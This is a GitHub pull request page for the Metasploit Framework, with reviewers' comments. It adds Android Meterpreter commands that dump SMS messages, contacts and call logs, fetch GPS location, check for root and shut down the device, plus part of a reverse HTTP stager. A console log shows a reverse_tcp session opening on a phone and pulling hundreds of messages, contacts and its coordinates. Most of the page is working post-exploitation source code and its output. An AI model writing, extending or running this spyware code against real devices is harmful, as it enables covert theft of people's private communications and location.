Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP

Loading…

enhancing java meterpreter for android #2174

Closed
wants to merge 14 commits into from
@AnwarMohamed

Adding commands menu in java meterpreter session to deal specially with
android platforms like :

"dump_sms" => "Get sms messages",
"dump_contacts" => "Get contacts list",
"geolocate" => "Get current lat-long using geolocation",
"dump_calllog" => "Get call log"

AnwarMohamed added some commits
@AnwarMohamed AnwarMohamed enhancing java meterpreter for android
Adding commands menu in java meterpreter session  to deal specially with
android platforms like :

"dump_sms"    => "Get sms messages",
"dump_contacts"  => "Get contacts list",
"geolocate"   => "Get current lat-long using geolocation",
"dump_calllog"   => "Get call log"
c650b76
@AnwarMohamed AnwarMohamed adding android common sub tree e4a4c4e
@AnwarMohamed AnwarMohamed adding android common sub tree b6569ee
@AnwarMohamed AnwarMohamed Android add "check_root" 0b7a730
@todb

Thanks! Might be a little pokey at reviewing this due to con schedules, just fyi. In the meantime, if you have any hints in how you went about testing, that would be appreciated.

@kernelsmith
Collaborator
@AnwarMohamed

I think you will need an android emulator to test, how can I make RC files ?

@kernelsmith
Collaborator
@AnwarMohamed

Edit by @OJ -- added backticks to console dump.

ruby msfconsole -x "sleep 2; use exploit/multi/handler; set payload android/meterpreter/reverse_tcp; set LHOST 10.0.0.2; exploit"

payload => android/meterpreter/reverse_tcp
LHOST => 10.0.0.22
[*] Started reverse handler on 10.0.0.22:4444
[*] Starting the payload handler...
[*] Sending stage (42777 bytes) to 10.0.0.21
[*] Meterpreter session 1 opened (10.0.0.22:4444 -> 10.0.0.21:39982) at 2013-08-10 18:58:30 +0200

meterpreter > help
Android: Common Commands
========================

    Command        Description
    -------        -----------
    check_root     Check if device is rooted
    dump_calllog   Get call log
    dump_contacts  Get contacts list
    dump_sms       Get sms messages
    geolocate      Get current lat-long using geolocation

Android: Rooted Commands
========================

    Command          Description
    -------          -----------
    device_shutdown  Shutdown device

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.1.1 (API 16) - Linux 3.0.31-302285 (armv7l)
Meterpreter : java/android

meterpreter > dump_calllog
[*] Fetching 164 entries
[*] Call log saved to: E:/metasploit/metasploit-framework/dump_calllog_rjOUMFHN.txt

meterpreter > dump_sms
[*] Fetching 896 sms messages
[*] Sms messages saved to: E:/metasploit/metasploit-framework/sms_dump_JQmaoINw.txt

meterpreter > dump_contacts
[*] Fetching 618 contacts into list
[*] Contacts list saved to: E:/metasploit/metasploit-framework/contacts_dump_GidUbOsl.txt

meterpreter > geolocate
[*] Current Location:

        Latitude  : 31.2186009
        Longitude : 29.9448264

meterpreter > exit
@jlee-r7
Collaborator

Quite a few style problems with this. I'll send you a pull request shortly

@jlee-r7 jlee-r7 referenced this pull request in AnwarMohamed/metasploit-framework
Merged

Style fixes for #2174 #1

@jlee-r7
Collaborator

Naming might be a little troublesome here, too. Having a client extension named common that only applies to Android is going to be confusing sooner or later. Perhaps it could be called android?

@AnwarMohamed
@todb-r7 todb-r7 referenced this pull request in AnwarMohamed/metasploit-framework
Merged

Retab/pr/2174 #2

@AnwarMohamed

ping ...

@wvu-r7
Collaborator

We'll get back to this.

@AnwarMohamed
@NetworkAuditor

I know I don't belong here, but I just wanted to say that as an avid metasploit and android user, I'm anxiously awaiting this extension. :) (also, in reference to Anwar's project, I believe the android-api3-scents:4.1.1.4:signature file that is grabbed at some point from the maven repo during the build is non-existent. Either that or I'm doing something terribly wrong. Just thought I'd say something about that too...)

@wvu-r7
Collaborator

@Trainzboy: Hey, it's okay. Thanks for commenting. Bumping this...

lib/rex/post/meterpreter/extensions/android/root/root.rb
((13 lines not shown))
+module Android
+module Root
+
+
+class Root
+
+ def initialize(client)
+ @client = client
+ end
+
+ def device_shutdown(n)
+ request = Packet.create_request('device_shutdown')
+ request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
+ response = client.send_request(request)
+ return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
+ end
@OJ Collaborator
OJ added a note

It seems a bit unnecessary to have a whole new module which contains just a single command like this. Not only that, but the name Root is a little counter-intuitive. In my opinion, the code in this module could be moved into the Common module and this module removed completely.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
.../post/meterpreter/extensions/android/common/common.rb
((87 lines not shown))
+ 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
+ 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
+ }
+
+ }
+ return log
+ end
+
+ def check_root
+ request = Packet.create_request('check_root')
+ response = client.send_request(request)
+ isRooted = response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
+ return isRooted
+ end
@OJ Collaborator
OJ added a note

So there's a Root module, but the check_root function is in Common? My head is spinning a bit :)

@OJ Collaborator
OJ added a note

They should be made available anyway and return a failure message if you don't have root access. It's my understanding this is more like how the rest of the modules in MSF function. Commands aren't added/removed based on permissions they are install all made available and errors are shown when executing without permission (unless I am mistaken).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
lib/rex/post/meterpreter/extensions/android/tlv.rb
((21 lines not shown))
+
+TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
+TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
+
+TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
+TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
+TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
+TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
+TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
+TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
+
+TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
+
+TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
+end; end; end; end; end
+
@OJ Collaborator
OJ added a note

There's a few minor formatting gripes here, but nothing bad.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
.../meterpreter/ui/console/command_dispatcher/android.rb
((10 lines not shown))
+#
+# Standard API extension.
+#
+###
+class Console::CommandDispatcher::Android
+
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/android/common'
+ require 'rex/post/meterpreter/ui/console/command_dispatcher/android/root'
+
+
+ Klass = Console::CommandDispatcher::Android
+
+ Dispatchers =
+ [
+ Klass::Common,
+ #Klass::Root,
@OJ Collaborator
OJ added a note

Is there a reason why this is commented out? It kind of defeats the purpose for having the Root class in the first place.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
.../meterpreter/ui/console/command_dispatcher/android.rb
((27 lines not shown))
+ ]
+
+ include Console::CommandDispatcher
+
+ def initialize(shell)
+ super
+
+ Dispatchers.each { |d|
+ shell.enstack_dispatcher(d)
+ }
+
+ #shell.enstack_dispatcher(Klass::Common)
+
+ if client.common.check_root == true
+ shell.enstack_dispatcher(Klass::Root)
+ end
@OJ Collaborator
OJ added a note

This would explain it, but again it doesn't make sense. More comments to come on this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
...reter/ui/console/command_dispatcher/android/common.rb
((39 lines not shown))
+ reqs[cmd].each do |req|
+ next if client.commands.include? req
+ del = true
+ break
+ end
+
+ del
+ end
+
+ all
+ end
+
+
+ def cmd_dump_sms(*args)
+
+ path = "sms_dump_" + Rex::Text.rand_text_alpha(8) + ".txt"
@OJ Collaborator
OJ added a note

Would it not be better to default to the loot folder?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
...reter/ui/console/command_dispatcher/android/common.rb
((134 lines not shown))
+
+ return true
+ rescue
+ print_error("Error getting messages")
+ return false
+ end
+ else
+ print_status( "No sms messages were found!" )
+ return false
+ end
+ end
+
+
+ def cmd_dump_contacts(*args)
+
+ path = "contacts_dump_" + Rex::Text.rand_text_alpha(8) + ".txt"
@OJ Collaborator
OJ added a note

Same here, defaulting to a loot folder would make more sense.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
...reter/ui/console/command_dispatcher/android/common.rb
((251 lines not shown))
+ print_line("\tLongitude : #{geo[0]['long']}\n")
+ print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
+
+
+ if generate_map
+ link = "https://maps.google.com/maps?q=#{geo[0]['lat']},#{geo[0]['long']}"
+ print_status("Generated map on google-maps:")
+ print_status("#{link}")
+ Rex::Compat.open_browser(link)
+ end
+
+ end
+
+ def cmd_dump_calllog(*args)
+
+ path = "dump_calllog_" + Rex::Text.rand_text_alpha(8) + ".txt"
@OJ Collaborator
OJ added a note

Default to loot again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
@OJ
Collaborator
OJ commented

There's some good stuff in here. In my view

  • The Common class should be renamed to just Android
  • The contents of Root should be moved to the Android class, and the Root class removed
  • The device_shutdown function should simply fail if the session doesn't have root access.
  • Unless otherwise specified, contents pulled from the device should land in the loot folder by default.

Cheers!

@AnwarMohamed
@OJ
Collaborator
OJ commented

Awesome stuff @AnwarMohamed, great contribution mate.

@AnwarMohamed
@OJ
Collaborator
OJ commented

@AnwarMohamed just to be clear, by loot I mean using the store_loot function so that it lands in the user's private loot folder (which is usually /home/<user>/.msf4/loot/. The machine/sessionid should be part of the subfolder or filename that you use when writing your loot.

@OJ
Collaborator
OJ commented

Also, the travis build is broken for this -> https://travis-ci.org/rapid7/metasploit-framework/builds/11032578#L3514

I'm not really 100% sure what this means, so check with @wvu-r7 @todb-r7 @jlee-r7 @wchen-r7 et al if you don't know what's going on.

@jlee-r7
Collaborator

Travis failure is heisenbug in a bad spec. Build restarted.

@timwr
Collaborator

One minor thing is that I don't think data/android/apk/res/drawable/icon.png is actually used, the drawable-mdpi one is used instead. Maybe we should remove them both? It would make the payload slightly smaller...

@AnwarMohamed

so no hope this to be merged ?

@NetworkAuditor

sigh
It's a jewel. I hope it does get merged someday.

@wvu-r7
Collaborator

Bumping! Thanks, everyone. :)

@jlee-r7
Collaborator

Common conflicts with existing functionality. Can't land until it changes.

@todb-r7
Owner

@AnwarMohamed please take a look at @jlee-r7's above comment and let's get some resolution on that. It looks like @timwr has some feedback as well that should be addressed.

@AnwarMohamed AnwarMohamed deleted the AnwarMohamed:android-dev branch
@AnwarMohamed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Commits on Jul 30, 2013
  1. @AnwarMohamed

    enhancing java meterpreter for android

    AnwarMohamed authored
    Adding commands menu in java meterpreter session  to deal specially with
    android platforms like :
    
    "dump_sms"    => "Get sms messages",
    "dump_contacts"  => "Get contacts list",
    "geolocate"   => "Get current lat-long using geolocation",
    "dump_calllog"   => "Get call log"
  2. @AnwarMohamed
  3. @AnwarMohamed
  4. @AnwarMohamed
Commits on Aug 10, 2013
  1. @AnwarMohamed
Commits on Aug 15, 2013
  1. @egypt

    Style fixes

    egypt authored
  2. @egypt

    Open URLs with open_browser vs open_file

    egypt authored
    Also, use camel case
  3. @AnwarMohamed
Commits on Aug 16, 2013
  1. @AnwarMohamed
Commits on Aug 17, 2013
  1. @AnwarMohamed
Commits on Sep 5, 2013
  1. @tabassassin

    Merge for retab

    tabassassin authored
  2. @tabassassin

    Retab changes for PR #2174

    tabassassin authored
  3. @AnwarMohamed
Commits on Nov 18, 2013
  1. @AnwarMohamed
This page is out of date. Refresh to see the latest.
View
BIN  data/android/apk/AndroidManifest.xml
Binary file not shown
View
BIN  data/android/apk/classes.dex
Binary file not shown
View
BIN  data/android/apk/res/drawable/icon.png
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
View
BIN  data/android/apk/res/layout/main.xml
Binary file not shown
View
BIN  data/android/apk/resources.arsc
Binary file not shown
View
BIN  data/android/meterpreter.jar
Binary file not shown
View
BIN  data/android/metstage.jar
Binary file not shown
View
BIN  data/android/shell.jar
Binary file not shown
View
BIN  data/meterpreter/ext_server_android.jar
Binary file not shown
View
BIN  data/meterpreter/ext_server_stdapi.jar
Binary file not shown
View
BIN  data/meterpreter/meterpreter.jar
Binary file not shown
View
7 lib/msf/base/sessions/meterpreter_java.rb
@@ -22,6 +22,13 @@ def initialize(rstream, opts={})
self.platform = 'java/java'
self.binary_suffix = 'jar'
end
+
+ def load_android()
+ self.platform = 'java/android'
+ console.disable_output = true
+ console.run_single('load android')
+ end
+
end
end
View
127 lib/rex/post/meterpreter/extensions/android/android.rb
@@ -0,0 +1,127 @@
+#!/usr/bin/env ruby
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/android/tlv'
+require 'rex/post/meterpreter/packet'
+require 'rex/post/meterpreter/client'
+require 'rex/post/meterpreter/channels/pools/stream_pool'
+
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Android
+
+###
+# Android extension - set of commands to be executed on android devices.
+# extension by Anwar Mohamed (@anwarelmakrahy)
+###
+
+
+class Android < Extension
+
+ def initialize(client)
+ super(client, 'android')
+
+ # Alias the following things on the client object so that they
+ # can be directly referenced
+ client.register_extension_aliases(
+ [
+ {
+ 'name' => 'android',
+ 'ext' => self
+ },
+ ])
+ end
+
+ def device_shutdown(n)
+ request = Packet.create_request('device_shutdown')
+ request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
+ response = client.send_request(request)
+ return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
+ end
+
+ def dump_sms
+ sms = Array.new
+ request = Packet.create_request('dump_sms')
+ response = client.send_request(request)
+
+ response.each( TLV_TYPE_SMS_GROUP ) { |p|
+
+ sms <<
+ {
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
+ 'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
+ 'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
+ 'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
+ }
+
+ }
+ return sms
+ end
+
+ def dump_contacts
+ contacts = Array.new
+ request = Packet.create_request('dump_contacts')
+ response = client.send_request(request)
+
+ response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
+
+ contacts <<
+ {
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
+ 'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
+ 'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
+ }
+
+ }
+ return contacts
+ end
+
+ def geolocate
+
+ loc = Array.new
+ request = Packet.create_request('geolocate')
+ response = client.send_request(request)
+
+ loc <<
+ {
+ 'lat' => "#{client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value)}",
+ 'long' => "#{client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)}"
+ }
+
+ return loc
+ end
+
+ def dump_calllog
+ log = Array.new
+ request = Packet.create_request('dump_calllog')
+ response = client.send_request(request)
+
+ response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
+
+ log <<
+ {
+ 'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
+ 'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
+ 'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
+ 'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
+ 'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
+ }
+
+ }
+ return log
+ end
+
+ def check_root
+ request = Packet.create_request('check_root')
+ response = client.send_request(request)
+ is_rooted = response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
+ return is_rooted
+ end
+
+end
+
+end; end; end; end; end
View
36 lib/rex/post/meterpreter/extensions/android/tlv.rb
@@ -0,0 +1,36 @@
+#!/usr/bin/env ruby
+# -*- coding: binary -*-
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Android
+
+TLV_TYPE_SMS_ADDRESS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9001)
+TLV_TYPE_SMS_BODY = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9002)
+TLV_TYPE_SMS_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9003)
+TLV_TYPE_SMS_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9004)
+TLV_TYPE_SMS_STATUS = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9005)
+TLV_TYPE_SMS_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9006)
+
+TLV_TYPE_CONTACT_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9007)
+TLV_TYPE_CONTACT_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9008)
+TLV_TYPE_CONTACT_EMAIL = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9009)
+TLV_TYPE_CONTACT_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9010)
+
+TLV_TYPE_GEO_LAT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9011)
+TLV_TYPE_GEO_LONG = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9012)
+
+TLV_TYPE_CALLLOG_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9013)
+TLV_TYPE_CALLLOG_TYPE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9014)
+TLV_TYPE_CALLLOG_DATE = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9015)
+TLV_TYPE_CALLLOG_DURATION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9016)
+TLV_TYPE_CALLLOG_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9017)
+TLV_TYPE_CALLLOG_NUMBER = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9018)
+
+TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
+
+TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
+end; end; end; end; end
+
View
407 lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb
@@ -0,0 +1,407 @@
+# -*- coding: binary -*-
+require 'rex/post/meterpreter'
+
+module Rex
+module Post
+module Meterpreter
+module Ui
+
+###
+# Android extension - set of commands to be executed on android devices.
+# extension by Anwar Mohamed (@anwarelmakrahy)
+###
+
+class Console::CommandDispatcher::Android
+
+ Klass = Console::CommandDispatcher::Android
+ include Console::CommandDispatcher
+
+ def initialize(shell)
+ super
+ end
+
+ #
+ # List of supported commands.
+ #
+ def commands
+ all = {
+ "dump_sms" => "Get sms messages",
+ "dump_contacts" => "Get contacts list",
+ "geolocate" => "Get current lat-long using geolocation",
+ "dump_calllog" => "Get call log",
+ "check_root" => "Check if device is rooted",
+ "device_shutdown" => "Shutdown device"
+ }
+
+ reqs = {
+ "dump_sms" => [ "dump_sms" ],
+ "dump_contacts" => [ "dump_contacts"],
+ "geolocate" => [ "geolocate"],
+ "dump_calllog" => [ "dump_calllog"],
+ "check_root" => [ "check_root"],
+ "device_shutdown" => [ "device_shutdown"]
+ }
+
+ all.delete_if do |cmd, desc|
+ del = false
+ reqs[cmd].each do |req|
+ next if client.commands.include? req
+ del = true
+ break
+ end
+
+ del
+ end
+
+ all
+ end
+
+ def cmd_device_shutdown(*args)
+
+ seconds = 0
+ device_shutdown_opts = Rex::Parser::Arguments.new(
+ "-h" => [ false, "Help Banner" ],
+ "-t" => [ false, "Shutdown after n seconds"]
+ )
+
+ device_shutdown_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: device_shutdown [options]\n" )
+ print_line( "Shutdown device." )
+ print_line( device_shutdown_opts.usage )
+ return
+ when "-t"
+ seconds = val
+ end
+ }
+
+ res = client.android.device_shutdown(seconds)
+
+ if res == true
+ print_status("Device will shutdown #{seconds > 0 ?("after " + seconds + "seconds"):"now"}")
+ else
+ print_error("Device shutdown failed")
+ end
+ end
+
+ def cmd_dump_sms(*args)
+
+ path = "sms_dump_" + Rex::Text.rand_text_alpha(8) + ".txt"
+ dump_sms_opts = Rex::Parser::Arguments.new(
+ "-h" => [ false, "Help Banner" ],
+ "-o" => [ false, "Output path for sms list"]
+ )
+
+ dump_sms_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: dump_sms [options]\n" )
+ print_line( "Get sms messages." )
+ print_line( dump_sms_opts.usage )
+ return
+ when "-o"
+ path = val
+ end
+ }
+
+ smsList = Array.new
+ smsList = client.android.dump_sms
+
+ if smsList.count > 0
+ print_status( "Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}" )
+ begin
+ info = client.sys.config.sysinfo
+
+ ::File.open( path, 'wb' ) do |fd|
+
+ fd.write("\n=====================\n")
+ fd.write("[+] Sms messages dump\n")
+ fd.write("=====================\n\n")
+
+ time = Time.new
+ fd.write("Date: #{time.inspect}\n")
+ fd.write("OS: #{info['OS']}\n")
+ fd.write("Remote IP: #{client.sock.peerhost}\n")
+ fd.write("Remote Port: #{client.sock.peerport}\n\n")
+
+ smsList.each_with_index { |a, index|
+
+ fd.write("##{(index.to_i + 1).to_s()}\n")
+
+ type = "Unknown"
+ if a['type'] == "1"
+ type = "Incoming"
+ elsif a['type'] == "2"
+ type = "Outgoing"
+ end
+
+ status = "Unknown"
+ if a['status'] == "-1"
+ status = "NOT_RECEIVED"
+ elsif a['status'] == "1"
+ status = "SME_UNABLE_TO_CONFIRM"
+ elsif a['status'] == "0"
+ status = "SUCCESS"
+ elsif a['status'] == "64"
+ status = "MASK_PERMANENT_ERROR"
+ elsif a['status'] == "32"
+ status = "MASK_TEMPORARY_ERROR"
+ elsif a['status'] == "2"
+ status = "SMS_REPLACED_BY_SC"
+ end
+
+ fd.write("Type\t: #{type}\n")
+
+ time = a['date'].to_i / 1000
+ time = Time.at(time)
+
+ fd.write("Date\t: #{time.strftime("%Y-%m-%d %H:%M:%S")}\n")
+ fd.write("Address\t: #{a['address']}\n")
+ fd.write("Status\t: #{status}\n")
+ fd.write("Message\t: #{a['body']}\n\n")
+ }
+ end
+
+ path = ::File.expand_path( path )
+
+ print_status( "Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}" )
+ Rex::Compat.open_file( path )
+
+ return true
+ rescue
+ print_error("Error getting messages")
+ return false
+ end
+ else
+ print_status( "No sms messages were found!" )
+ return false
+ end
+ end
+
+
+ def cmd_dump_contacts(*args)
+
+ path = "contacts_dump_" + Rex::Text.rand_text_alpha(8) + ".txt"
+ dump_contacts_opts = Rex::Parser::Arguments.new(
+
+ "-h" => [ false, "Help Banner" ],
+ "-o" => [ false, "Output path for contacts list"]
+
+ )
+
+ dump_contacts_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: dump_contacts [options]\n" )
+ print_line( "Get contacts list." )
+ print_line( dump_contacts_opts.usage )
+ return
+ when "-o"
+ path = val
+ end
+ }
+
+ contactList = Array.new
+ contactList = client.android.dump_contacts
+
+ if contactList.count > 0
+ print_status( "Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list" )
+ begin
+ info = client.sys.config.sysinfo
+
+ ::File.open( path, 'wb' ) do |fd|
+
+ fd.write("\n======================\n")
+ fd.write("[+] Contacts list dump\n")
+ fd.write("======================\n\n")
+
+ time = Time.new
+ fd.write("Date: #{time.inspect}\n")
+ fd.write("OS: #{info['OS']}\n")
+ fd.write("Remote IP: #{client.sock.peerhost}\n")
+ fd.write("Remote Port: #{client.sock.peerport}\n\n")
+
+ contactList.each_with_index { |c, index|
+
+ fd.write("##{(index.to_i + 1).to_s()}\n")
+ fd.write("Name\t: #{c['name']}\n")
+
+ if c['number'].count > 0
+ (c['number']).each { |n|
+ fd.write("Number\t: #{n}\n")
+ }
+ end
+
+ if c['email'].count > 0
+ (c['email']).each { |n|
+ fd.write("Email\t: #{n}\n")
+ }
+ end
+
+ fd.write("\n")
+ }
+ end
+
+ path = ::File.expand_path( path )
+ print_status( "Contacts list saved to: #{path}" )
+ Rex::Compat.open_file( path )
+
+ return true
+ rescue
+ print_error("Error getting contacts list")
+ return false
+ end
+ else
+ print_status( "No contacts were found!" )
+ return false
+ end
+ end
+
+ def cmd_geolocate(*args)
+
+ generate_map = false
+ geolocate_opts = Rex::Parser::Arguments.new(
+
+ "-h" => [ false, "Help Banner" ],
+ "-g" => [ false, "Generate map using google-maps"]
+
+ )
+
+ geolocate_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: geolocate [options]\n" )
+ print_line( "Get current location using geolocation." )
+ print_line( geolocate_opts.usage )
+ return
+ when "-g"
+ generate_map = true
+ end
+ }
+
+ geo = client.android.geolocate
+
+ print_status("Current Location:\n")
+ print_line("\tLatitude : #{geo[0]['lat']}")
+ print_line("\tLongitude : #{geo[0]['long']}\n")
+ print_line("To get the address: https://maps.googleapis.com/maps/api/geocode/json?latlng=#{geo[0]['lat']},#{geo[0]['long']}&sensor=true\n")
+
+
+ if generate_map
+ link = "https://maps.google.com/maps?q=#{geo[0]['lat']},#{geo[0]['long']}"
+ print_status("Generated map on google-maps:")
+ print_status("#{link}")
+ Rex::Compat.open_browser(link)
+ end
+
+ end
+
+ def cmd_dump_calllog(*args)
+
+ path = "dump_calllog_" + Rex::Text.rand_text_alpha(8) + ".txt"
+ dump_calllog_opts = Rex::Parser::Arguments.new(
+
+ "-h" => [ false, "Help Banner" ],
+ "-o" => [ false, "Output path for call log"]
+
+ )
+
+ dump_calllog_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: dump_calllog [options]\n" )
+ print_line( "Get call log." )
+ print_line( dump_calllog_opts.usage )
+ return
+ when "-o"
+ path = val
+ end
+ }
+
+ log = Array.new
+ log = client.android.dump_calllog
+
+ if log.count > 0
+ print_status( "Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}" )
+ begin
+ info = client.sys.config.sysinfo
+
+ ::File.open( path, 'wb' ) do |fd|
+
+ fd.write("\n=================\n")
+ fd.write("[+] Call log dump\n")
+ fd.write("=================\n\n")
+
+ time = Time.new
+ fd.write("Date: #{time.inspect}\n")
+ fd.write("OS: #{info['OS']}\n")
+ fd.write("Remote IP: #{client.sock.peerhost}\n")
+ fd.write("Remote Port: #{client.sock.peerport}\n\n")
+
+ log.each_with_index { |a, index|
+
+ fd.write("##{(index.to_i + 1).to_s()}\n")
+
+ fd.write("Number\t: #{a['number']}\n")
+ fd.write("Name\t: #{a['name']}\n")
+ fd.write("Date\t: #{a['date']}\n")
+ fd.write("Type\t: #{a['type']}\n")
+ fd.write("Duration: #{a['duration']}\n\n")
+ }
+ end
+
+ path = ::File.expand_path( path )
+ print_status( "Call log saved to: #{path}" )
+ Rex::Compat.open_file( path )
+
+ return true
+ rescue
+ print_error("Error getting call log")
+ return false
+ end
+ else
+ print_status( "No call log entries were found!" )
+ return false
+ end
+ end
+
+
+ def cmd_check_root(*args)
+
+ check_root_opts = Rex::Parser::Arguments.new(
+ "-h" => [ false, "Help Banner" ]
+ )
+
+ check_root_opts.parse( args ) { | opt, idx, val |
+ case opt
+ when "-h"
+ print_line( "Usage: check_root [options]\n" )
+ print_line( "Check if device is rooted." )
+ print_line( check_root_opts.usage )
+ return
+ end
+ }
+
+ isRooted = client.android.check_root
+
+ if isRooted == true
+ print_status("Device is rooted")
+ elsif
+ print_status("Device is not rooted")
+ end
+ end
+
+ #
+ # Name for this dispatcher
+ #
+ def name
+ "Android"
+ end
+
+end
+
+end
+end
+end
+end
View
83 modules/payloads/stagers/android/reverse_http.rb
@@ -0,0 +1,83 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+# http://metasploit.com/
+##
+#thanks to @SheriefEldeeb for explaining reverse_http concept
+
+require 'msf/core'
+require 'msf/core/handler/reverse_http'
+
+module Metasploit3
+
+ include Msf::Payload::Stager
+ include Msf::Payload::Dalvik
+
+ def initialize(info = {})
+ super(merge_info(info,
+ 'Name' => 'Dalvik Reverse HTTP Stager',
+ 'Description' => 'Tunnel communication over HTTP',
+ 'Author' => 'anwarelmakrahy',
+ 'License' => MSF_LICENSE,
+ 'Platform' => 'android',
+ 'Arch' => ARCH_DALVIK,
+ 'Handler' => Msf::Handler::ReverseHttp,
+ 'Stager' => {'Payload' => ""}
+ ))
+ end
+
+ def string_sub(data, placeholder, input)
+ data.gsub!(placeholder, input + ' ' * (placeholder.length - input.length))
+ end
+
+ def generate_jar(opts={})
+ jar = Rex::Zip::Jar.new
+
